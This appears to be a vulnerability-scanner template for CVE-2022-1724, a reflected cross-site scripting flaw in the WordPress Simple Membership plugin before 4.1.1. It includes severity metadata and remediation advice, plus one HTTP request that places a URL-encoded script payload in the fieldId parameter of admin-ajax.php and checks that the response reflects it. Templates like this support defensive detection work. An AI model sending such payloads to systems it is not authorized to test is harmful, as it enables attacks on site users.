id: CVE-2022-1724

info:
  name: WordPress Simple Membership <4.1.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions.
  remediation: |
    Update to the latest version of WordPress Simple Membership plugin (4.1.1 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/96a0a667-9c4b-4ea6-b78a-0681e9a9bbae
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1724
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1724
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.45933
    cpe: cpe:2.3:a:simple-membership-plugin:simple_membership:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: simple-membership-plugin
    product: simple_membership
    framework: wordpress
  tags: xss,wp,wordpress,wpscan,cve,cve2022,wp-plugin

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"<script>alert(document.domain)</script>",'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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